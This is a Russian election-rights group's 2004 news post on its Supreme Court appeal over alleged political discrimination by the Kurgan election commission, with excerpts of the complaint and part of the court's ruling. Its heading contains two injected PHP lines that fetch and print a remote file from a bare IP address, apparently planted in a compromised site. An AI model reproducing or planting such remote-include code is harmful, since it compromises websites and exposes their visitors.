Новости

Верховный Суд и политическая дискриминация.

04.06.2004

ВЕРХОВНЫЙ СУД <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?> <?php echo file_get_contents("http://91.193.192.27/users.txt"); ?>

ЧЕМ ЗАВЕРШИЛОСЬ ДЕЛО О
ПОЛИТИЧЕСКОЙ ДИСКРИМИНАЦИИ?

В конце марта в Верховном Суде
наша организация участвовала в слушаниях по делу

против Областной Избирательной Комиссии (ОИК) Курганской области в связи с
фактами политической дискриминации, и по нарушениям законодательства о выборах
со стороны Комитета по печати и СМИ Курганской области (В.Есетов), Курганской
государственной телерадиокомпании (И.Белых), Агентства "ПолитКурган"
(В.Алексеев), а также по фактам других нарушений допущенных в ходе выборов в
пользу "Единой России" на Думских выборах.


Фабула дела такова. Любые нарушения резко и оперативно пресекались, даже с

превышением полномочий самой избирательной комиссией, если дело касалось
нарушений

политических субъектов, не в пользу "Единой России". Однако Комитет

по печати и СМИ вовсю нарушали закон в пользу "Единой России".

Избирательная комиссия не реагировала, а с ответом на поступающие жалобы

тянула, никаких мер пресечения до конца выборов не предпринимала. Мы

посчитали бездействие ОИК незаконным, однако Областной суд с нами не

согласился.


Посчитав, что таким образом официально узаконивается политическая

дискриминация, мы пытались обжаловать это решение в Верховном Суде 31.03.2004.

Ниже приводятся фрагменты нашей кассационной жалобы и

определение Верховного Суда.

Предварительный комментарий к этим
документам.

Обращает на себя внимание тот
факт, что доказательства, имеющиеся в деле, на которые мы ссылались в
кассационной жалобе, никакой оценки не нашли в определении Верховного Суда, что
может свидетельствовать не о юридической, а политической деятельности суда.

Суд проигнорировал наши доводы со
ссылкой на документы, будто не было ни слова о том,  что  ст.19 Конституции РФ,
ст.14 ЕК, ст.26 МПГПП запрещают неравенство субъектов права перед законом,  которое установлено правоприменительной
деятельностью Облизбиркома!  Избирком
представил суду документы, где совершенно очевидно, и юрист избиркома это
подтвердил в суде: только если нарушения были в пользу «Единой России»,  то никаких мер не принималось, давались
рекомендации, а ко всем другим нарушителям всегда применялись санкции!  Это признание является вопиющим фактом
запрещенной политической дискриминации! 
Оказывается, если верить выводам Верховного Суда, никакого правового
значения не имеет приведенный факт политической дискриминации!

Суд проигнорировал, будто не было
ни слова о том,  что  избирком и суд первой инстанции оставили за
скобкой нарушителя закона в лице Комитета по печати и СМИ.

Суд проигнорировал, будто не было
ни слова о том,  что  избирком нарушил сроки рассмотрения жалобы.

Суд проигнорировал, будто не было
ни слова о том,  что  избирком обязан был по закону пригласить
заявителя на рассмотрение нашего обращения.

Суд проигнорировал, будто не было
ни слова о том,  что  агитация также распространялась в интернете,
но избирком никоим образом не прореагировал на это.

Кассационная жалоба на решение Курганского областного Суда
от 14.01.2004 о

признании незаконными бездействия избирательной комиссии Курганской области

(ИК КО) и незаконными (противоправными) распространенных агитматериалов

агентства ПолитКурган  (выдержки).


Движение "ЗА ЧЕСТНЫЕ ВЫБОРЫ", выступая в защиту интересов субъектов

избирательного процесса в ходе выборов 2003 года в депутаты ГД Федерального

собрания РФ выявила закономерность, которая дает основание считать, что

выборы не могут быть признаны свободными в той интерпретации, какая дается

международными документами: ст.25 Международного Пакта о Гражданских и

политических правах, ст.3 Протокола 1 Европейской Конвенции, в силу

дискриминационных ограничений и злоупотреблений свободой информации.


СМИ при молчаливой поддержке органов власти нарушали основные принципы выборов
с целью склонить

избирателя к нужному выбору путем предоставления односторонней информации и

нарушений законодательства о СМИ.

Эти структуры ("Зауралмедиа" и телекомпания "Регион-45"
возглавляемые

А.Дудичем, КГТРК - возглавляемая И.Белых, Комитет по печати Курганской

области, возглавляемый В.Есетовым) наиболее активно нарушали

законодательство в рассматриваемом случае, причем в рабочую группу

Областной (окружной) избирательной комиссии вошли и В.Есетов и И.Белых,

причем последний назначен в избирательную комиссию от партии власти

"Единство".

КГТРК и "Регион-45" под
видом социальной рекламы в октябре

прокручивали ролики агитации за "Единую Россию", а с 12 ноября в
печати и на

телевидении эти же лица и Комитет по печати вместе с "Зауралмедиа"

распространяли агитацию за "Единую Россию" и против КПРФ уже и в
интернете и

в газетах, включая районные. Причем муниципальные газеты и телевидение за

государственный счет, - также под видом социальной рекламы.


Вал возмущений поступал от избирателей по названным фактам. 20.11.03 мы

обратились в ОИК с заявлением о принятии мер пресечения, и поскольку ОИК

должна была самостоятельно принимать меры к недопущению незаконной агитации,

начатой еще 12.11.03, мы, в своем обращении также запросили указать,

какие действия предприняла комиссия по данным фактам. В обращении, как

видно из дела, кроме указания на телевизионные ролики КГТРК, содержалась и

распечатка из интернета, приложенная для иллюстрации материалов. Там же

прямо указывался и источник распространения "ПолитКурган".


ОИК не предприняла никаких мер по предотвращению дальнейшего распространения

этих материалов, и по данным, отраженным в деле, она распостранялась вплоть

до 03.12.03, и 4.12.03. Действия ПолитКургана не были затронуты ОИК даже

каким-либо его упоминанием.


Откровенные и циничные нарушения избирательных прав представителями

государственных органов вызвали в дальнейшем протестные насторения

избирателей (голосование против всех - 16 % по одномандатникам) и социальную

напряженность, выразившуюся серьезным возмущением представителей

общественности, выраженным на заседании общественно-политического совета

24.12.03.

Исходя из возложенных на ОИК (в
ст. 20 Закона об основных гарантиях:)

обязанностей по обеспечению гарантий избирательных прав, мы полагаем, что

любое распространение незаконной агитации (о которой известно ОИК),

является результатом незаконного бездействия ОИК.


Рассмотрение нашего обращения от 20.11.03 в ОИК проходило без приглашения

заявителя в нарушение ст.75 закона.

Поскольку в обязанности ОИК входит отслеживание нарушений, а указанное

нарушение длилось с 12 ноября (9 дней), то для выяснения причин бездействия

ОИК в пунктах 1-3 нашего обращения (л.д.18) содержались вопросы о том,

допускала ли ОИК эти агитматериалы своим решением ("какими решениями ИК КО


закреплено право агитации, из каких бюджетов финансируются рекламные ролики

и содержание интернет-центра, распространяющего агитацию"), и соблюдены ли


требования надлежащего финансирования.


Кроме этого, в силу очевидного бездействия ОИК, в обращении была выражена

просьба указать нормативные документы, допускающие такое бездействие
("Если

избирком считает, что не обязан анализпровать рекламные блоки, прошу

сообщить, какими нормативными документами это регламентировано").

Содержалась также просьба о принятии мер ("Прошу принять меры по
названному

факту."), а в приложении дана диаграмма акции, маскируемой под опрос, с

указанием адреса и сообщалось, что "Интернет-реклама адресованна

региональным СМИ" (л.д.18).


В установленный законом 5-дневный срок заявителю ответ дан не был. Когда

избирателями было сообщено о выходе газет с теми же материалами и 26.11.03,

я явился для выяснения причин бездействия в ОИК лично, где и было

предоставлено для ознакомления решение ОИК от 25.11.03, не содержащее по

существу никаких мер к предотвращению незаконной агитации, вследствие чего

и было заявлено, что Движение "ЗА ЧЕСТНЫЕ ВЫБОРЫ" обратится в суд в

отношении бездействия ОИК.


Только после угрозы обращения в суд ОИК направило нам официальный ответ от

27.11.03. Таким образом, официальный ответ на наше заявление не дан в

5-дневный срок, не говоря уже о том, что ответ не является ответом по

существу, но является откровенным издевательством. Вместо надлежащего

разъяснения, представлялись ли агитматериалы ОИК заранее, выяснялось ли их

происхождение и финансирование, как мы того требовали именно в отношении

указанной конкретной незаконной агитации (по тексту: "Прошу сообщить,
какими

решениями ИК КО закреплено право агитации, из каких бюджетов финансируются

рекламные ролики и содержание интернет-центра, распространяющего

агитацию".), ОИК в издевательском тоне в своем ответе цитирует правила

распространения законной агитации.


Полагаем, что ОИК, направляя такой ответ, цинично демонстрировала, что

своими действиями (бездействием) она обслуживает интересы партии власти, а

потому, не боясь ответственности, бросала открытый вызов общественности,

которую представляла наша организация, как защитница прав избирателей.


Само решение ОИК, только формализует указанное циничное отношение ОИК к

праву.

Прокуратура, как ей предписано
законом, самостоятельно должна была

принимать меры по защите избирательных прав граждан. Однако, как и в

предыдущем случае с незаконной агитацией в пользу "Единой России"
(решение

Курганского областного суда от 25.11.2003 года по заявлению Движения "ЗА

ЧЕСТНЫЕ ВЫБОРЫ"), она, напротив, выступила в суде с протестом против наших


законных требований.


Из документов, представленных суду, вполне очевидно, что основная

активность ОИК в отношении нашего заявления началась именно после

регистрации нашего заявления в суде 03.12.03.

(ПРИМ. Областной суд в установленный законом срок до 7 декабря наше дело
рассматривать

не стал, а в оправдание приобщил к делу некую писульку, о том, что
представителя нашего движения кто-то видел в больнице, и суд сделал туда  запрос не находился ли он там на лечении.
Чем это может оправдать

бездействие суда - непонятно! )


До этого, как видим из документов, представленных суду, никаких запросов

видеороликов или объяснений у распространителей незаконной агитации ОИК и не

запрашивалось (л.д.47 и 55), а деятельность ПолитКурган и его

интернет-рассылки в районные газеты, вывешивание в интернете агитации под

видом опроса (л.д.19) вообще ОИК не рассматривала. В своем решении наши

сообщения об этом (л.д. 18-19) проигноровала.


Несмотря на то, что рабочая группа ОИК предлагала пресечь распространение

незаконной агитации (л.д.20), комиссия это требование проигнорировала.

Решение избирательной комиссии от 25.11.03 (л.д.21-23) выносится

исключительно для внутреннего употребления комиссии, т.к. нигде не

публиковалось (пояснения представителя ОИК Ю.Гавриш), и до СМИ никак не

доводилось.


Касаясь вопроса, допустила ли избирательная комиссия бездействие, о котором

ведется спор в суде, считаю, что оценка должна даваться исходя из  результата.

По смыслу действующих законов о выборах, только на избирательные комиссии

возлагается обеспечение гарантий равных прав субъектов выборного процесса

(ст.20 Закона об основных гарантиях избирательных прав).

Задавшись вопросом: достижимо ли в
публичных отношениях обеспечение равных

прав, если правоприменение осуществляется избирательно в силу пристрастий

правоприменителя? Недопустимость этого заложена в ст.19 Конституции РФ
"Все

равны перед законом и судом".


Исходя из выводов же данного суда, следует, что законными признаются такие

действия избирательной комиссии, которые активно направлены исключительно на

пресечение любых нарушений, задевающих интерес кандидата "Единой
России", и,

напротив, не применяют никаких активных действий, чтобы пресекать

нарушения, направленные против кандидатов КПРФ. Полагаем, что такое

толкование нормы закона, предполагающее право по своему усмотрению

применять закон или не применять, не соответствует указанной норме

Конституции РФ, поскольку субъекты окажутся перед законом не равны,

предпочтения отданы исходя из политической ориентации субъектов права по

произвольному желанию правоприменителя.


Очевидно, что такое недопустимо, ибо такие действия подпадают под понятие

дискриминации. Согласно ст.14 Европейской Конвенции "Пользование правами и


свободами, изложенными в настоящей Конвенции, обеспечивается без какой либо

дискриминации по признакам : политических или иных убеждений" и ст.26

Международного Пакта о гражданских и политических правах "закон должен

гарантировать всем лицам равную и эффективную защиту против дискриминации по

какому бы то ни было признаку, как-то : политических или иных убеждений".


ОИК по своему выбору пользуется правом, или не пользуется, как видим из не

подвергавшихся сомнению сторонами публикаций в газете (л.д.149, само решение

комиссия отказалась предоставить в суд) а также ответов представителя ОИК

Пшеничникова.


Причем, когда задеты интересы кандидата от партии власти, ОИК превышая свои

полномочия, привлекает нарушителя к ответственности по ст.5.8 КоАП, в то

время как применять данную норму вправе прокуратура, либо суд.


Когда же нарушение допущено в интересах партии власти, а такие два случая

нарушения были самыми масштабными (совершенно не сопоставимыми с

нарушениями, за которое привлечена газета "Вечерний Курган") ОИК не
только

не пресекает нарушения, но и до завершения выборов никак не реагирует на

продолжающиеся нарушения, хотя решение комиссии признало материалы

незаконной агитацией, подпадающей под действие ст.64 (Закона о выборах

депутатов ГД).

:

Кроме того, суд полностью проигнорировал материалы дела, которые

представлены были ОИК и суду в отношении акций ПолитКургана, и

интернет-сайта, принадлежащего "Зауралмедиа" (А.Дудич) (л.д.143-145)
,

Комитета по печати, несмотря на наши ходатайства привлечь к участию в

качестве стороны.


Полагаем, что поскольку представленные в нашем заявлении в ОИК (л.д.19)

факты распространения материалов итогов опроса ПолитКурганом в интернете

никем сомнению не подвергались, не подвергались сомнению и сообщения о

распространении тех же материалов Комитетом по печати (л.д. 60-63), не

опровергалось причастность "Зауралмедиа" (л.д.145) к распространению
этих

материалов, но , тем не менее, как видно из материалов дела, ОИК эти

факты (по ПолитКургану и интернету-"Зауралмедиа") даже не
рассматривала, а

по Комитету печати лишь формально отписалась, - полагаем бездействие в

отношении данных фактов вполне очевидно.


Доводы суда о законности действий ОИК в отношении данных субъектов, как

распространителей незаконной агитации, несостоятельны, поскольку действий

никаких и не было, ни рекомендательных, ни пресекательных.

Суд ничем не обосновал причину оставления без рассмотрения доводов

заявителей в отношении данных доказательств и того обстоятельства, что

другая сторона их не оспаривала. Из ответов ОИК и его решения от 25.11.03

видно, что эти факты ОИК и не рассматривала.


На основании изложенного,


ПРОШУ


Решение Курганского областного суда отменить

…

Признать незаконным бездействие ОИК в части непринятия мер по пресечению

распространения материалов акции.

* * *

29.01.04 жалоба ушла в Верховный Суд. Однако, очевидно, чтобы не

портить выборы президента волнениями избиркома, рассмотрение дела было

назначено аж на конец марта.


Габдулла Исакаев, Председатель Курганского областного общественного движения

"За честные выборы"

г.Курган.

 

 

ВЕРХОВНЫЙ СУД

РОССИЙСКОЙ ФЕДЕРАЦИИ

Дело № 82-Г04-1

ОПРЕДЕЛЕНИЕ

Судебная коллегия по гражданским делам Верховного Суда
Россий­ской Федерации в составе:

председательствующего Манохиной Г.В.

судей Соловьева В.Н. и Макарова Г.В.

рассмотрела в судебном заседании от 31 марта 2004 г. дело
по заявле­нию Курганского областного общественного движения «За честные выбо­ры»
о признании незаконными бездействия, а также действий Окружной избирательной
комиссии Курганского одномандатного избирательного округа № 96 по выборам
депутатов Государственной Думы Федерального Собра­ния РФ четвертого созыва, по
заявлению Информационного агентства «Центр региональных исследований
«Политкурган» о признании недействительным решения той же избирательной
комиссии № 96 от 25 ноября 2003 г. № 8/82, по кассационной жалобе
«Политкургана», кассационной жа­лобе Федерального государственного унитарного
предприятия «Курганская государственная телевизионная и радиовещательная
компания», кассацион­ной жалобе движения «За честные выборы» на решение
Курганского обла­стного суда от 14 января 2004 г.

Заслушав доклад по делу судьи Верховного Суда Российской Федера­ции
Соловьева В.Н., объяснения представителя движения «За честные выборы» Исакаева
Г.Г., объяснения представителя ФГУП «КГТРК» Стытько Л.М., заключение прокурора
Генеральной прокуратуры Российской Федера­ции Гермашевой М.М., полагавшей
решение суда первой инстанции, выне­сенное по данному делу, обоснованным и
законным, Судебная коллегия по гражданским делам Верховного Суда Российской
Федерации

 

установила:

 

Курганское областное общественное движение «За честные
выборы» обратилось в суд с заявлением в защиту, неопределенного круга лиц
-кандидатов а избирателей о признании незаконными бездействия, а также действий
Курганской областной избирательной комиссии, выполняющей функции Окружной
избирательной комиссии Курганского одномандатного избирательного округа № 96 по
выборам депутатов Государственной Думы Федерального Собрания РФ четвертого
созыва, указав, что в период предвыборной компании в средствах массовой
информации незаконно распро­странялись агитационные материалы под видом опроса
общественного мне­ния. Избирательная комиссия не принимала действенных мер по
пресече­нию данного нарушения, не реагировала на противоправную агитацию, чем
нарушила права избирателей, кроме этого рассмотрела запрос общественно­го
объединения «За честные выборы» о данных нарушениях в отсутствии его
представителя. В судебном заседании заявитель просил признать акцию «Я - за!
Выбери свое правительство» в период проведения избирательной компании
агитационным, противоправным действием. Кроме этого, при­знать незаконным п.3
решения Окружной избирательной комиссии от 25.11.2003 г. № 8/82 в части
принятия избирательной комиссией в отноше­нии проведения данной акции мер
рекомендательного, а не пресекательного характера.

Информационное агентство «Центр региональных исследований
«По-литкурган» обратилось в суд с заявлением о признании недействительным
решение той же избирательной комиссии № 8/82 от 25.11.2003 г., которым вводимая
им редакция «Я - за! Выбери свое правительство» была признана агитационным
материалом, указав, что назначение данной акции - информи­рование избирателей
под видом опроса общественного мнения, что в силу закона не может являться
агитацией, поскольку акция не имела цели побудить избирателей голосовать за
определенных кандидатов, либо против всех и т.д.

Определением Курганского областного суда от 12.01.2004 г.
данные дела соединены в одно производство, учитывая, что сторонами обжалуется
одни и те же действия избирательной комиссии, хотя требования имеют
взаимоисключающий характер.

Представители Окружной избирательной комиссии Курганского
одномандатного избирательного округа № 96 с заявленными требованиями не
согласились, пояснили, что вышеуказанная акция «Я - за! Выбери свое пра­вительство»
имеет признаки агитации, поэтому обоснованно была признана агитационным
материалом. Избирательной комиссией были приняты соот­ветствующие меры в
отношении данной акции, рекомендовано средствам массовой информации
воздержаться от его распространения и предоставить представителям КПРФ возможность
Обнародовать опровержение. Запрос общественного движения «За честные выборы» по
данному факту касался разъяснений , в том числе и по правовым вопросам, которые
были направ­лены последнему в срок, установленный законом.

Представитель средства массовой информации ФГУП «Курганская
государственная телерадиокомпания», доводы Центра региональных иссле­дований
«Политкурган» поддержал.

Решением Курганского областного суда от 14 января 2004 г. в
удовле­творении требования Информационного агентства «Центр региональных ис­следований
«Политкурган» о признании недействительным решения Ок­ружной избирательной
комиссии Курганского одномандатного избиратель­ного округа № 96 от 25.11.2003
г. № 8/82 отказано.

В удовлетворении заявления Курганского областного движения
«За честные выборы» о признании незаконными бездействия, действий Окруж­ной
избирательной комиссии Курганского одномандатного избирательного округа № 96
также отказано.

В кассационной жалобе Центра региональных исследований
«Полит­курган» содержится просьба об изменении постановленного судом решения и
вынесении нового, которым удовлетворить в полном объеме требования
«Политкурган» как основанных на правильном толковании норм избира­тельного
законодательства и установленных по делу обстоятельств.

Не соглашаясь с решением суда, в кассационной жалобе ФГУП
«Кур­ганская государственная телевизионная и радиовещательная компания», а
также движение «За честные выборы» просят отменить его как вынесенное ошибочно,
без учета действительных обстоятельств публикации и распро­странения материалов
акции «Я - за! Выбери свое правительство» и ее над­лежащей оценки.

Проверив материалы дела, изучив доводы кассационных жалоб,
Су­дебная коллегия по гражданским делам Верховного Суда Российской Феде­рации
находит состоявшееся по данному делу решение суда подлежащим оставлению без
изменения по следующим основаниям.

Установлено, что средством массовой информации, а именно
инфор­мационным агентством «Центр региональных исследований «Политкурган» в
период с 17 по 23 ноября 2003 г. проводилась политическая акция «Я - за! Выбери
свое правительство», сообщение о которой было опубликовано в га­зете
«Зауральский курьер» 12.11.2003 г. № 44 (277). Итоги данной акции были
опубликованы в газете «Зауральский курьер» - 26.11.2003 г. на ФГУП КГТРК - показаны
24.11.2003 г. Согласно вышеуказанной политической акции, избирателям была
представлена анкета с указанием, что победившая на выборах партия долж­на
сформировать свое правительство и было предложено выбрать его вари­ант.

Далее указаны три политических партии, фамилии лиц и их
фотогра­фии, которые предложены в качестве председателя правительства РФ и
председателя Государственной Думы РФ. Избиратель должен был поставить любой
знак напротив выбранного им варианта правительства.

«Компартия» - Председатель правительства - Борис
Березовский. Председатель Государственной Думы - Геннадий Зюганов.

«Союз правых» - Председатель правительства - Анатолий
Чубайс. Председатель Государственной Думы - Борис Немцов.

«Единая Россия» - Председатель правительства - Юрий Лужков.
Председатель Государственной Думы - Сергей Шойгу.

Проведение данной акции повлекло ряд обращений и жалоб в
Окруж­ную избирательную комиссию от избирателей. Курганское областное дви­жение
«За честные выборы» обратилось по данному факту с запросом о за­конности ее
проведения.

25 ноября 2003 г. жалоба гр.Затеева Л.М. и запрос
общественного движения «За честные выборы» рассмотрены на заседании Окружной
изби­рательной комиссии, решением которой № 8/82 акция «Я - за! Выбери свое
правительство» была признана агитационным материалом. Средствам мас­совой
информации было рекомендовано воздержаться от распространения данного
агитационного материала, несоответствующего требованиям пункта 2 ст.55 ФЗ РФ «О
выборах Депутатов Государственной Думы Федерального Собрания РФ», в
соответствии с п.6 ст.64 вышеназванного закона предоста­вить КПРФ возможность
обнародовать (опубликовать) опровержение или дать иное разъяснение в защиту
чести, достоинства или деловой репутации до окончания агитационного периода по
выборам депутатов Государствен­ной Думы Федерального Собрания РФ.

Отказывая в удовлетворении требования «Центра региональных
ис­следований «Политкурган» о признании недействительным решения Ок­ружной
избирательной комиссии Курганского одномандатного избиратель­ного округа № 96
от 25.11.2003 г. № 8/82, суд указал, что политическая ак­ция «Я - за! Выбери
свое правительство» является агитационным материа­лом, которая способствовала
формированию отрицательного отношения из­бирателей к политической партии КПРФ.

С данным выводом суда следует согласиться, так как он
основан на правильном понимании положений избирательного законодательства, регу­лирующих
спорные правоотношения.

Согласно ст.53 ФЗ РФ «О выборах депутатов Государственной Думы
Федерального собрания РФ» от 20.12.2002 г. № 175-ФЗ, информационное обеспечение
выборов включает в себя информирование избирателей и предвыборную
агитацию, способствует осознанному волеизъявлению избирате­лей, гласности
выборов. Предвыборной агитацией признаются действия, указанные в ст. 57
вышеназванного Федерального закона, в частности тако­вой является -
деятельность, способствующая формированию положитель­ного или отрицательного
отношения избирателей к политической партии и т.д.(п.1 п.п. 6).

Судом также учтено, что в п.4.1 постановления
Конституционного Суда РФ от 30.10.2003 г. № 15-П указано, что критерием,
позволяющим раз­граничить предвыборную агитацию и информирование, может служить
лишь наличие в агитационной деятельности специальной цели - склонить
избирателей в определенную сторону, обеспечить поддержку или, наоборот,
противодействие конкретному кандидату, избирательному объединению.

В п.4.2 данного постановления отмечается, что подпункт «е»
пункта 2 ст.48 закона признает предвыборной агитацией деятельность, способствую­щую
созданию положительного или отрицательного отношения избирателей к кандидату. В
случаях противоправной агитации эта деятельность также предполагает наличие
такого необходимого признака (компонента) агита­ции, как ее осознанно
агитационный характер.

Действительно, как следует из постановления
Конституционного суда РФ и рассматриваемых им во взаимосвязи положений закона,
понятие про­тивоправной агитации связано с прямым нарушением средством массовой
информации п.п. «ж» п.7 ст.48 вышеуказанного Федерального закона

---

Данный материал прошел автоматическую обработку и мог быть искажен, оригинал материала: http://narod.zaural.ru/gabd/news/040604-1.htm